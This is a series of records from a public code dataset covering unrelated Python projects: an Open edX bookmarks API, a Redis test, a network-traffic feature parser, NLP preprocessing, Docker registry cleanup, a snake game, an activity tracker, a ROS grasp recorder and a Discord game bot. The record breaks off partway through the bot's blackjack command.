self.error_response(error_message, DEFAULT_USER_MESSAGE)\n\n try:\n bookmark = api.create_bookmark(user=self.request.user, usage_key=usage_key)\n except ItemNotFoundError:\n error_message = gettext_noop('Block with usage_id: {usage_id} not found.').format(usage_id=usage_id)\n log.error(error_message)\n return self.error_response(error_message, DEFAULT_USER_MESSAGE)\n except BookmarksLimitReachedError:\n error_message = gettext_noop(\n 'You can create up to {max_num_bookmarks_per_course} bookmarks.'\n ' You must remove some bookmarks before you can add new ones.'\n ).format(max_num_bookmarks_per_course=settings.MAX_BOOKMARKS_PER_COURSE)\n log.info(\n 'Attempted to create more than %s bookmarks',\n settings.MAX_BOOKMARKS_PER_COURSE\n )\n return self.error_response(error_message)\n\n return Response(bookmark, status=status.HTTP_201_CREATED)\n\n\nclass BookmarksDetailView(APIView, BookmarksViewMixin):\n \"\"\"\n **Use Cases**\n\n Get or delete a specific bookmark for a user.\n\n **Example Requests**:\n\n GET /api/bookmarks/v1/bookmarks/{username},{usage_id}/?fields=display_name,path\n\n DELETE /api/bookmarks/v1/bookmarks/{username},{usage_id}/\n\n **Response for GET**\n\n Users can only delete their own bookmarks. If the bookmark_id does not belong\n to a requesting user's bookmark a Http404 is returned. Http404 will also be\n returned if the bookmark does not exist.\n\n * id: String. The identifier string for the bookmark: {user_id},{usage_id}.\n\n * course_id: String. The identifier string of the bookmark's course.\n\n * usage_id: String. The identifier string of the bookmark's XBlock.\n\n * display_name: (optional) String. Display name of the XBlock.\n\n * path: (optional) List of dicts containing {\"usage_id\": , display_name: }\n for the XBlocks from the top of the course tree till the parent of the bookmarked XBlock.\n\n * created: ISO 8601 String. The timestamp of bookmark's creation.\n\n **Response for DELETE**\n\n Users can only delete their own bookmarks.\n\n A successful delete returns a 204 and no content.\n\n Users can only delete their own bookmarks. If the bookmark_id does not belong\n to a requesting user's bookmark a 404 is returned. 404 will also be returned\n if the bookmark does not exist.\n \"\"\"\n\n authentication_classes = (BearerAuthentication, SessionAuthentication)\n permission_classes = (permissions.IsAuthenticated, IsUserInUrl)\n\n serializer_class = BookmarkSerializer\n\n def get_usage_key_or_error_response(self, usage_id):\n \"\"\"\n Create and return usage_key or error Response.\n\n Arguments:\n usage_id (string): The id of required block.\n \"\"\"\n try:\n return UsageKey.from_string(usage_id)\n except InvalidKeyError:\n error_message = gettext_noop('Invalid usage_id: {usage_id}.').format(usage_id=usage_id)\n log.error(error_message)\n return self.error_response(error_message, error_status=status.HTTP_404_NOT_FOUND)\n\n @apidocs.schema()\n def get(self, request, username=None, usage_id=None): # lint-amnesty, pylint: disable=unused-argument\n \"\"\"\n Get a specific bookmark for a user.\n\n **Example Requests**\n\n GET /api/bookmarks/v1/bookmarks/{username},{usage_id}?fields=display_name,path\n \"\"\"\n usage_key_or_response = self.get_usage_key_or_error_response(usage_id=usage_id)\n\n if isinstance(usage_key_or_response, Response):\n return usage_key_or_response\n\n try:\n bookmark_data = api.get_bookmark(\n user=request.user,\n usage_key=usage_key_or_response,\n fields=self.fields_to_return(request.query_params)\n )\n except ObjectDoesNotExist:\n error_message = gettext_noop(\n 'Bookmark with usage_id: {usage_id} does not exist.'\n ).format(usage_id=usage_id)\n log.error(error_message)\n return self.error_response(error_message, error_status=status.HTTP_404_NOT_FOUND)\n\n return Response(bookmark_data)\n\n def delete(self, request, username=None, usage_id=None): # pylint: disable=unused-argument\n \"\"\"\n DELETE /api/bookmarks/v1/bookmarks/{username},{usage_id}\n \"\"\"\n usage_key_or_response = self.get_usage_key_or_error_response(usage_id=usage_id)\n\n if isinstance(usage_key_or_response, Response):\n return usage_key_or_response\n\n try:\n api.delete_bookmark(user=request.user, usage_key=usage_key_or_response)\n except ObjectDoesNotExist:\n error_message = gettext_noop(\n 'Bookmark with usage_id: {usage_id} does not exist.'\n ).format(usage_id=usage_id)\n log.error(error_message)\n return self.error_response(error_message, error_status=status.HTTP_404_NOT_FOUND)\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/bookmarks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13259,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"29170637717","text":"from lacmus2.toiler.selector import SelectorVtypeProcessor\n\nfrom ..redis_test import BaseRedisTestCase\n\n\nclass SelectorPostprocessTestCase(BaseRedisTestCase):\n def test(self):\n proc = SelectorVtypeProcessor(self.storage)\n proc.postprocess_value(\n {'vtype': 'svtype1', 'key': 'skey1'}, ['h1', 'h5'],\n )\n self.assertEquals(\n sorted(self.redis.sscan_iter('s2hh\\0svtype1\\0skey1')),\n ['h1', 'h5']\n )\n\n proc.postprocess_value({'vtype': 'svtype1', 'key': 'skey1'}, [])\n self.assertEquals(\n sorted(self.redis.sscan_iter('s2hh\\0svtype1\\0skey1')), []\n )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/test/toiler/selector_test.py","file_name":"selector_test.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38895359019","text":"import Datasets.DatasetGenerators.netStat2 as ns\nimport csv\nimport numpy as np\nimport sys\n\ndef loadTSV(path):\n maxInt = sys.maxsize\n decrement = True\n while decrement:\n # decrease the maxInt value by factor 10\n # as long as the OverflowError occurs.\n decrement = False\n try:\n csv.field_size_limit(maxInt)\n except OverflowError:\n maxInt = int(maxInt / 10)\n decrement = True\n\n maxHost = 100000000000\n maxSess = 100000000000\n nstat = ns.netStat(maxHost, maxSess)\n print(\"counting lines in file...\")\n num_lines = sum(1 for line in open(path))\n print(num_lines)\n X = np.zeros((num_lines-1,len(nstat.getNetStatHeaders())))\n Ts = np.zeros(num_lines-1)\n srcIPs = []\n print(\"Parsing file\")\n with open(path, 'rt', encoding=\"utf8\") as tsvin:\n tsvin = csv.reader(tsvin, delimiter='\\t')\n count = 0\n for row in tsvin:\n count = count + 1\n if count % 10000 == 0:\n print(count)\n if count > 1:\n IPtype = np.nan\n timestamp = row[0]\n framelen = row[6]\n srcIP = ''\n dstIP = ''\n srcIP=row[2]\n dstIP=row[4]\n srcproto = row[3] # UDP or TCP port: the concatenation of the two port strings will will results in an OR \"[tcp|udp]\"\n dstproto = row[5] # UDP or TCP port\n srcMAC = row[3]\n dstMAC = row[5]\n \n try:\n X[count-2,] = nstat.updateGetStats(IPtype, srcMAC, dstMAC,srcIP, srcproto, dstIP, dstproto, int(framelen),\n float(timestamp))\n Ts[count-2] = float(timestamp)\n srcIPs.append(srcIP)\n except Exception as e:\n print(e)\n print(\"Done parsing file.\")\n return X, srcIPs, Ts\n\n\n# X,srcIPs,Ts=loadTSV('D:/datasets/1553Datasets/testbed/spoofing1/sp1.tsv')\n# np.savetxt(\"D:/datasets/1553Datasets/testbed/spoofing1/sp1_netstat.csv\", X, delimiter=\",\")\n\n\n","repo_name":"tomerdoi/Kitsune_Variations","sub_path":"Datasets/DatasetGenerators/parser_script_1553.py","file_name":"parser_script_1553.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6060557120","text":"from llenado import llenar\nfrom eliminar import eliminar\n\nnum = int(input(\"¿Cuántas listas quieres manejar?: \"))\n\nlistas = []\n\nfor i in range(0,num):\n listas.append(llenar(int(input(f\"Ingresa la lingitud de la lista {i+1}:\"))))\nprint(listas)\n\n\neliminar(listas,0)","repo_name":"amjd661123/Reto_S11","sub_path":"S11.py","file_name":"S11.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70855853841","text":"from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk import word_tokenize, pos_tag\nimport pandas as pd\nimport numpy as np\nimport nltk, re\n\n#read csv file\ndef read_data(file_path):\n return pd.read_csv(file_path)\n\n#create a vectorize\n#used to the first step of preprocessing and for\n#trasforming text into vectors\ndef build_vectorizer(name):\n if name == \"cv\":\n return CountVectorizer(stop_words='english', analyzer=\"word\",)\n elif name == \"tfidf\":\n return TfidfVectorizer(stop_words='english', analyzer=\"word\",)\n\n#lemmatize an entire column of a dataframe using WordNet lemmatizer from nltk\ndef lemmatize_data(dataframe, col_name):\n wnl = WordNetLemmatizer()\n rows = []\n count = 0\n #iterate over dataframe rows\n for index,row in dataframe.iterrows():\n count += 1\n #lemmatize each word separately\n #only adjectives, nouns and verbs are lemmatized\n words = [wnl.lemmatize(i,j[0].lower()) if j[0].lower() in ['a','n','v'] else wnl.lemmatize(i) for i,j in pos_tag(word_tokenize(str(row[col_name])))]\n #join all the words back into a single string\n res.append(' '.join(w for w in words))\n #return a new dataframe with lemmatized text\n return pd.DataFrame(rows)\n\n#preprocess a dataframe and return a new dataframe with preprocessed text\ndef preprocess_dataframe(dataframe, processer):\n # conversion to lowercase, stopwords removal, punctuation removal\n dataframe = dataframe.applymap(lambda x: \" \".join(s for s in processer(x)))\n #numbers removal\n dataframe = dataframe.applymap(lambda x: re.sub(r'[0-9]+',\"\",x))\n # OPTIONAL: remove text with less than threshold words\n dataframe = dataframe.applymap(lambda x: \" \".join(s for s in x.split() if len(s) > threshold))\n return dataframe\n\n#feeds the data to the vectorizer which transforms it into vectors\ndef feed_data(dataframe, col_name):\n #feed one text line at a time\n for index,row in dataframe.iterrows():\n yield row[col_name]\n\n# code execution\nif __name__ == \"__main__\":\n file_name = \"path_to_the_file.csv\"\n\n text_data = read_data(file_name)\n\n #instantiate a CounVectorizer\n #transforms words as one-hot vectors\n vectorizer = build_vectorizer(\"cv\")\n\n #instantiate the analyzer\n #this is the module that handles preprocessing\n analyzer = vectorizer.build_analyzer()\n\n #lemmatize text data from the chosen column\n #WARNING: the returned dataframe has only one column !\n lemmatized_data = lemmatize_data(text_data, 'name_of_the_text_column')\n\n #preprocess textual data to remove noise and uninformative data\n preprocessed_text = preprocess_dataframe(lemmatized_data, analyzer)\n\n #transform preprocessed text into vectors in the vector space\n vectorized_data = vectorizer.fit_transform(feed_data(preprocessed_text, 'name_of_the_text_column'))\n\n #now you can use vectorized_data for your application i.e.:\n # - clustering\n # - train a machine learning model\n # - train word embeddings\n # - and so on...\n","repo_name":"ganeshkavhar/python_projects","sub_path":"text_preprocessing_for_nlp/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20989118380","text":"import fnmatch\nfrom typing import List, Tuple\n\nimport requests\n\nfrom docker_report.registry import Registry\n\n\nclass RegistryOperations(Registry):\n \"\"\"Class executing most common registry operations.\"\"\"\n\n def _image_digest(self, name: str, tag: str) -> str:\n \"\"\"Given an image name and tag, it returns the sha256 digest\"\"\"\n resp = self._request(\"/v2/{}/manifests/{}\".format(name, tag), use_v2=True)\n return resp.headers.get(\"Docker-Content-Digest\", \"\")\n\n def delete_image(self, name: str, tag_glob: str) -> Tuple[List[str], List[str], List[str]]:\n \"\"\"Delete a specific tag (or tag glob) from an image.\n\n Two lists are returned, in a tuple: the list of all processed tags, and the list of tags\n that we failed to remove.\n \"\"\"\n failed = []\n not_found = []\n # let's find all the tags corresponding to the glob\n tags = self.get_tags_for_image(name)\n selected_tags = fnmatch.filter(tags, tag_glob)\n for tag in selected_tags:\n try:\n digest = self._image_digest(name, tag)\n delete_url = \"/v2/{}/manifests/{}\".format(name, digest)\n self._request(delete_url, method=\"DELETE\", use_v2=True)\n except requests.RequestException as e:\n if e.response.status_code == 404:\n not_found.append(tag)\n else:\n self.logger.exception(\"Error deleting the image %s:%s from the registry\", name, tag)\n failed.append(tag)\n return (selected_tags, failed, not_found)\n","repo_name":"wikimedia/operations-docker-images-docker-report","sub_path":"docker_report/registry/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20012126529","text":"import pygame\nimport random\n\n# Configurações do jogo\nSCREEN_WIDTH, SCREEN_HEIGHT = 400, 400\nGRID_SIZE = 20\nGRID_WIDTH, GRID_HEIGHT = SCREEN_WIDTH // GRID_SIZE, SCREEN_HEIGHT // GRID_SIZE\nUP, DOWN, LEFT, RIGHT = 0, 1, 2, 3\n\n# Cores\nWHITE = (255, 255, 255)\nGREEN = (0, 128, 0)\nRED = (255, 0, 0)\n\nclass SnakeGame:\n def __init__(self):\n pygame.init()\n self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n pygame.display.set_caption('Jogo da Cobrinha')\n self.clock = pygame.time.Clock()\n\n def reset(self):\n self.snake = [(GRID_WIDTH // 2, GRID_HEIGHT // 2)]\n self.direction = random.choice([UP, DOWN, LEFT, RIGHT])\n self.apple = self.spawn_apple()\n\n def spawn_apple(self):\n while True:\n x, y = random.randint(0, GRID_WIDTH - 1), random.randint(0, GRID_HEIGHT - 1)\n if (x, y) not in self.snake:\n return x, y\n\n def run(self):\n self.reset()\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n return\n\n keys = pygame.key.get_pressed()\n if keys[pygame.K_UP]:\n self.direction = UP\n elif keys[pygame.K_DOWN]:\n self.direction = DOWN\n elif keys[pygame.K_LEFT]:\n self.direction = LEFT\n elif keys[pygame.K_RIGHT]:\n self.direction = RIGHT\n\n head_x, head_y = self.snake[0]\n if self.direction == UP:\n head_y -= 1\n elif self.direction == DOWN:\n head_y += 1\n elif self.direction == LEFT:\n head_x -= 1\n elif self.direction == RIGHT:\n head_x += 1\n\n if (head_x, head_y) in self.snake or head_x < 0 or head_x >= GRID_WIDTH or head_y < 0 or head_y >= GRID_HEIGHT:\n self.reset()\n\n self.snake.insert(0, (head_x, head_y))\n\n if (head_x, head_y) == self.apple:\n self.apple = self.spawn_apple()\n else:\n self.snake.pop()\n\n self.screen.fill(WHITE)\n for segment in self.snake:\n pygame.draw.rect(self.screen, GREEN, (segment[0] * GRID_SIZE, segment[1] * GRID_SIZE, GRID_SIZE, GRID_SIZE))\n pygame.draw.rect(self.screen, RED, (self.apple[0] * GRID_SIZE, self.apple[1] * GRID_SIZE, GRID_SIZE, GRID_SIZE))\n pygame.display.flip()\n self.clock.tick(10)\n\nif __name__ == '__main__':\n game = SnakeGame()\n game.run()\n","repo_name":"nilberthsouza/jogos","sub_path":"cobrinha.py","file_name":"cobrinha.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23424146826","text":"'''\nActivity Tracker\nToaster914 & Pawnol\n4/21/23\n'''\n\nimport os\n\ndef main_menu():\n '''\n Main menu for the application.\n '''\n while True:\n print(\"1 - Create account\")\n print(\"2 - Delete account\")\n print(\"3 - Login\")\n print(\"4 - Exit\")\n option = int(input(\"Please enter your selection (1-4) >> \"))\n\n if option == 1:\n create_account()\n elif option == 2:\n delete_account()\n elif option == 3:\n login()\n elif option == 4:\n break\n else:\n print(\"Invalid selection!\")\n print()\n\ndef create_account():\n '''\n Creates a new account if one does not exist. If an account\n already exists, no account is created.\n '''\n name = input(\"Enter the name you want associated with the account >> \").lower().strip()\n if os.path.exists(name + \".txt\"):\n print(\"That account already exists!\")\n else:\n file = open(name + \".txt\", \"x\")\n file.close()\n print(\"The account was created succesfully!\")\n print()\n\ndef delete_account():\n '''\n Deletes an account if it exists.\n '''\n name = input(\"Enter the name of the user you want deleted >> \").lower().strip()\n if os.path.exists(name + \".txt\"):\n os.remove(name + \".txt\")\n print(\"The account was deleted succesfully!\")\n else:\n print(\"No account exists under that name!\")\n print()\n\ndef login():\n '''\n logs into the users account if it exists. calls the account\n menu if it exists.\n '''\n name = input(\"Enter the name of the user you want to login to >> \").lower().strip()\n if os.path.exists(name + \".txt\"):\n account_menu(name + \".txt\")\n else:\n print(\"No account exists under that name!\")\n print()\n\ndef account_menu(file_name):\n '''\n Account menu. Allows user to log, delete, and veiw activities.\n '''\n print()\n while True:\n print(\"1 - Log activities\")\n print(\"2 - Delete activities\")\n print(\"3 - Veiw activities\")\n print(\"4 - Exit\")\n option = int(input(\"Please enter your selection (1-4) >> \"))\n print()\n\n if option == 1:\n log_activities(file_name)\n elif option == 2:\n delete_activities(file_name)\n elif option == 3:\n veiw_activities(file_name)\n elif option == 4:\n break\n else:\n print(\"Invalid selection!\")\n\ndef log_activities(file_name):\n '''\n Logs multiple activities to the user's account. Writes the info to the file.\n '''\n repeat = \"y\"\n while repeat == \"y\":\n activity_name = input(\"Enter the name of the activity >> \")\n hours = input(\"Enter the number of hours you did the activity >> \")\n calories = input(\"Enter the number of calories the activity burns per hour >> \")\n file = open(file_name, \"a\")\n file.write(activity_name + \",\" + hours + \",\" + calories + \"\\n\")\n file.close()\n repeat = input(\"Would you like to log another activity? (y/n) >> \")\n print()\n\ndef delete_activities(file_name):\n '''\n Deletes multiple activities from the users account\n '''\n\n file = open(file_name, \"r\")\n enteries = file.readlines()\n file.close()\n\n repeat = \"y\"\n while repeat == \"y\":\n for i in range(0, len(entries)):\n feilds = entires[i].split(\",\")\n print(i + 1, \"-\", feilds[0], \"for\", feilds[1], \"hours\")\n index = int(input(\"Which activity would you like to delete (enter number) >> \")) - 1\n if index < len(entries):\n entries.pop(index)\n print(\"Activity succesfully deleted!\")\n else:\n print(\"Invalid input. No activity at that number.\")\n repeat = input(\"Do you want to delete another activity? (y/n) >> \")\n print()\n\n file = open(file_name, \"w\")\n file.writelines(entires)\n file.close()\n\ndef veiw_activities(file_name):\n '''\n Prints all the activities to the console\n '''\n file = open(file_name, \"r\")\n enteries = file.readlines()\n file.close()\n\n for i in range(0, len(entries)):\n feilds = entires[i].split(\",\")\n print(i + 1, \"-\", feilds[0], \"for\", feilds[1], \"hours\")\n print()\n\nmain_menu()\n","repo_name":"Toaster914/Activity-Tracker","sub_path":"ActivityTracker.py","file_name":"ActivityTracker.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11656518461","text":"#!/usr/bin/env python3\n\nimport time\nimport rospy\nimport tf\n\n# function taken from : https://stackoverflow.com/questions/3136059/getting-one-value-from-a-tuple\n# reads a single key pressed\ndef read_single_keypress():\n \"\"\"Waits for a single keypress on stdin.\n\n This is a silly function to call if you need to do it a lot because it has\n to store stdin's current setup, setup stdin for reading single keystrokes\n then read the single keystroke then revert stdin back after reading the\n keystroke.\n\n Returns a tuple of characters of the key that was pressed - on Linux, \n pressing keys like up arrow results in a sequence of characters. Returns \n ('\\x03',) on KeyboardInterrupt which can happen when a signal gets\n handled.\n\n \"\"\"\n import termios, fcntl, sys, os\n fd = sys.stdin.fileno()\n # save old state\n flags_save = fcntl.fcntl(fd, fcntl.F_GETFL)\n attrs_save = termios.tcgetattr(fd)\n # make raw - the way to do this comes from the termios(3) man page.\n attrs = list(attrs_save) # copy the stored version to update\n # iflag\n attrs[0] &= ~(termios.IGNBRK | termios.BRKINT | termios.PARMRK\n | termios.ISTRIP | termios.INLCR | termios. IGNCR\n | termios.ICRNL | termios.IXON )\n # oflag\n attrs[1] &= ~termios.OPOST\n # cflag\n attrs[2] &= ~(termios.CSIZE | termios. PARENB)\n attrs[2] |= termios.CS8\n # lflag\n attrs[3] &= ~(termios.ECHONL | termios.ECHO | termios.ICANON\n | termios.ISIG | termios.IEXTEN)\n termios.tcsetattr(fd, termios.TCSANOW, attrs)\n # turn off non-blocking\n fcntl.fcntl(fd, fcntl.F_SETFL, flags_save & ~os.O_NONBLOCK)\n # read a single keystroke\n ret = []\n try:\n ret.append(sys.stdin.read(1)) # returns a single character\n fcntl.fcntl(fd, fcntl.F_SETFL, flags_save | os.O_NONBLOCK)\n c = sys.stdin.read(1) # returns a single character\n while len(c) > 0:\n ret.append(c)\n c = sys.stdin.read(1)\n except KeyboardInterrupt:\n ret.append('\\x03')\n finally:\n # restore old state\n termios.tcsetattr(fd, termios.TCSAFLUSH, attrs_save)\n fcntl.fcntl(fd, fcntl.F_SETFL, flags_save)\n return tuple(ret)\n\nclass TFGripperListener:\n def __init__(self):\n self.listener = tf.TransformListener()\n self.file_path = rospy.get_param('~file_path', '/tmp/grasp_transforms.yaml')\n self.end_effector_link = rospy.get_param('~end_effector_link', 'hand_ee_link')\n self.object_ref_frame = rospy.get_param('~object_ref_frame', 'tall_insole')\n\n def write_to_file(self, list_of_strings):\n if len(list_of_strings) == 3:\n rospy.logwarn('grasp poses file will not be generated (user did not pressed enter at least once)')\n return\n f = open(self.file_path,'w+')\n for string in list_of_strings:\n f.write(string + '\\n')\n f.close()\n\n def start(self):\n stream_list = ['# this file was generated automatically by tf_gripper_listener node']\n tab = ' '\n stream_list.append(f'{self.object_ref_frame}:')\n stream_list.append(f'{tab}grasp_poses:')\n rospy.sleep(3.0)\n while not rospy.is_shutdown():\n rospy.loginfo('Press Enter to record grasp... or q to quit and save')\n key = read_single_keypress()\n if key[0] == 'q' or key[0] == 'Q':\n break\n try:\n (trans,rot) = self.listener.lookupTransform(self.object_ref_frame, self.end_effector_link, rospy.Time(0))\n stream_list.append(f'{tab}{tab}-')\n # translation\n translation_str = f'{tab}{tab}{tab}translation: [{trans[0]:.6f}, {trans[1]:.6f}, {trans[2]:.6f}]'\n rospy.loginfo('\\n')\n rospy.loginfo(translation_str)\n stream_list.append(translation_str)\n # rotation\n rotation_str = f'{tab}{tab}{tab}rotation: [{rot[0]:.6f}, {rot[1]:.6f}, {rot[2]:.6f}, {rot[3]:.6f}]'\n rospy.loginfo(rotation_str)\n stream_list.append(rotation_str)\n\n except (tf.LookupException, tf.ConnectivityException, tf.ExtrapolationException):\n rospy.logerr(f'LookupTransform failed between frames: {self.object_ref_frame} and {self.end_effector_link}')\n rospy.loginfo(f'writing to file: {self.file_path}')\n self.write_to_file(stream_list)\n\nif __name__ == '__main__':\n rospy.init_node('tf_listener')\n tf_gripper_listener = TFGripperListener()\n tf_gripper_listener.start()\n","repo_name":"knowledge-based-systems-course/april_manipulation","sub_path":"april_pick_place_object/src/april_pick_place_object/grasp_planner/tf_gripper_listener.py","file_name":"tf_gripper_listener.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"362168792","text":"import os\nimport discord\nfrom keep_alive import keep_alive\nimport logging\nfrom discord.ext import commands,tasks\nfrom random import randint, choice\nfrom googletrans import Translator\nfrom replit import db\nfrom cogs import update\nfrom datetime import datetime,timedelta,timezone,tzinfo\nimport pytz\nfrom math import floor\n\nmy_secret = os.environ['token']\n\nlogging.basicConfig(level=logging.INFO)\n\nclient = commands.Bot(command_prefix='z!')\nclient.remove_command(\"help\")\n\nadmin='351239431102922752'\n\n@client.event\nasync def on_ready():\n print(f'We have logged in as {client.user}')\n await client.change_presence(activity=discord.Game(name=\"z!help\"))\n\n@client.event\nasync def on_message(message):\n if message.author==client.user:\n return\n content=message.content\n if \"@zl385\" in content or \"<@905985060346408961>\" in content or \"@zl835#5913\" in content or \"<@!905985060346408961>\" in content:\n await message.channel.send('Hello. I am zl835, your friendly neighbourhood multipurpose bot. Not to be confused with my creator, zl385.')\n else:\n await client.process_commands(message)\n\n@client.command()\nasync def help(ctx):\n ctxprefix=str(ctx.message.content)[0:2]\n embed1=discord.Embed(title='Help',description=f'Command prefix: {(ctxprefix)}')\n embed1.set_footer(text='Made by zl385#9363. Page 1')\n embed1.add_field(\n name='List of commands',\n value=f\"`{ctxprefix}help` - shows this message.\\\n \\n`{ctxprefix}blackjack (alias: bj)` - play a game of blackjack. Hit: Draw a card. Stand: Stop the game. Get a higher value than the bot to win twice the bet. Go over 21 and you lose the bet. Get exactly 21 to win triple the bet. if bet is 0 you get free points if you win. \\\n \\n`{ctxprefix}tr ` - translates a message to the specified language.\\\n \\n`{ctxprefix}create` - creates a profile if there isn't one.\\\n \\n`{ctxprefix}leaderboard (alias: lb)` - shows the points leaderboard.\\\n \\n`{ctxprefix}ping` - shows the latency.\\\n \\n`{ctxprefix}profile (alias: p)` - shows your profile.\\\n \\n`{ctxprefix}dice ` - play a game of dice. if you roll higher than the bot, you win 10x the bet. if you roll lower than the bot, you lose the bet.\\\n \\n`{ctxprefix}invite` - use this command to invite the bot to your server!\\\n \\n`{ctxprefix}magic_8ball` - ask the magic 8ball a question.\\\n \\n`{ctxprefix}send ` - send a message through the bot in the current channel.\"\n )\n embed2=discord.Embed()\n embed2.set_footer(text='Made by zl385#9363. Page 2')\n embed2.add_field(\n name='List of commands (cont.)',\n value=f\"`{ctxprefix}coinflip (alias: cf)` - flips a coin. guess correctly to win double the bet. guess wrong and you lose the bet.\\\n \\n`{ctxprefix}now` - shows the date and time.\\\n \\n`{ctxprefix}kiss ` - kiss someone!\\\n \\n`{ctxprefix}hug ` - hug someone!\\\n \\n`{ctxprefix}kill ` - kill someone!\"\n )\n await ctx.send(embed=embed1)\n await ctx.send(embed=embed2)\n\n@client.command(name='ping')\nasync def ping(ctx):\n await ctx.send(f'Pong! {round(client.latency * 1000)}ms.')\n\n@client.command(aliases=['bj'])\nasync def blackjack(ctx, bet):\n #await ctx.send(\"This function has been temporarily disabled.\")\n #return\n ctxprefix=str(ctx.message.content)[0:2]\n placeholder=0\n zero=False\n player_cards=[]\n player_view=[]\n bot_cards=[]\n bot_view_end=[]\n bot_view=[]\n cmds=['hit','stand']\n author_id=str(ctx.author.id)\n def check(m):\n if m.author == ctx.author:\n return True\n return False\n try:\n points=db[author_id][\"points\"]\n except:\n await ctx.send(f'**Create an accound first by doing `{ctxprefix}create`**')\n return \n if str(bet)=='all':\n bet=points\n elif str(bet)=='half':\n bet=int(points/2)\n elif bet.isdigit()==True:\n bet=int(bet)\n else:\n await ctx.send('Invalid bet.')\n return\n if bet > points:\n await ctx.send(\"You don't have that much points!\")\n return\n elif bet==0:\n bet=100\n zero=True\n for i in range(4):\n placeholder=randint(1,13) \n if i < 2:\n if placeholder>10:\n player_cards.append(10)\n if placeholder==11:\n player_view+='J'\n elif placeholder==12:\n player_view+='Q'\n else:\n player_view+='K'\n elif placeholder==1:\n player_cards.append(1)\n player_view+='A'\n else:\n player_cards.append(placeholder)\n player_view.append(placeholder)\n else:\n if placeholder>10:\n bot_cards.append(10)\n if placeholder==11:\n bot_view_end+='J'\n elif placeholder==12:\n bot_view_end+='Q'\n else:\n bot_view_end+='K'\n elif placeholder==1:\n bot_cards.append(1)\n bot_view_end+='A'\n else:\n bot_cards.append(placeholder)\n bot_view_end.append(placeholder)\n bot_view.append(bot_view_end[0])\n bot_view += ['???']\n embed=discord.Embed(title=f\"{ctx.author.name}'s blackjack game\", description=f\"**{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\nDealer --- {bot_view} --- ???**\")\n await ctx.send(embed=embed)\n if sum(player_cards)==21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Blackjack!\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nCongrats, you won {bet*2} points!**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]+{bet*2})\n return\n elif sum(bot_cards)==21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Dealer blackjack.\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nRip you lost {bet*2} points.**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", db[author_id][\"points\"]-bet*2)\n if zero==True:\n update(author_id, \"points\", db[author_id][\"points\"]+bet*2)\n return\n while True:\n embed=discord.Embed(title=f\"{ctx.author.name}'s blackjack game\")\n await ctx.send('**Hit/Stand? **')\n msg=await client.wait_for('message', check=check)\n cmd=msg.content.lower()\n while cmd not in cmds:\n await ctx.send('**Invalid command. Hit/Stand?**')\n msg=await client.wait_for('message', check=check)\n cmd=msg.content.lower()\n if cmd == 'hit':\n placeholder=randint(1,13)\n if placeholder>10:\n player_cards.append(10)\n if placeholder==11:\n player_view+='J'\n elif placeholder==12:\n player_view+='Q'\n else:\n player_view+='K'\n elif placeholder==1:\n player_cards.append(1)\n player_view+='A'\n else:\n player_cards.append(placeholder)\n player_view.append(placeholder)\n if sum(bot_cards)<17:\n placeholder=randint(1, 13)\n if placeholder>10:\n bot_cards.append(10)\n if placeholder==11:\n bot_view_end+='J'\n elif placeholder==12:\n bot_view_end+='Q'\n else:\n bot_view_end+='K'\n elif placeholder==1:\n bot_cards.append(1)\n bot_view_end+='A'\n else:\n bot_cards.append(placeholder)\n bot_view_end.append(placeholder)\n elif cmd=='stand':\n if sum(bot_cards)<17:\n placeholder=randint(1, 13)\n if placeholder>10:\n bot_cards.append(10)\n if placeholder==11:\n bot_view_end+='J'\n elif placeholder==12:\n bot_view_end+='Q'\n else:\n bot_view_end+='K'\n elif placeholder==1:\n bot_cards.append(1)\n bot_view_end+='A'\n else:\n bot_cards.append(placeholder)\n bot_view_end.append(placeholder)\n if sum(player_cards)==21:\n embed=discord.Embed(\n title=f\"{ctx.author.name}'s blackjack game\",\n description=f\"**Blackjack!\\\n \\n{ctx.author.name} --- {player_view} --- {sum(player_cards)}\\\n \\nDealer --- {bot_view_end} --- {sum(bot_cards)}\\\n \\nCongrats, you won {bet*2} points!**\"\n )\n await ctx.send(embed=embed)\n update(author_id, \"points\", 